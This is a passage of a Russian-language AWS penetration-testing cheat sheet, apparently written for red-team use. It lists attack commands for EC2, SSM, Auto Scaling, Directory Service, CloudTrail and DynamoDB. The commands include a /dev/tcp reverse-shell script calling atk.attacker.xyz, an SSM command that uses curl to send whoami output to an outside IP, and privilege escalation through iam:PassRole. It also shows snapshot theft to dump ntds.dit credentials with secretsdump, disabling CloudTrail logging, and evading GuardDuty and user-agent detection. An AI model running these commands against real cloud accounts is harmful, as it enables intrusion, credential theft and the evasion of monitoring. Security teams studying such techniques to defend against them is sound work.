&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
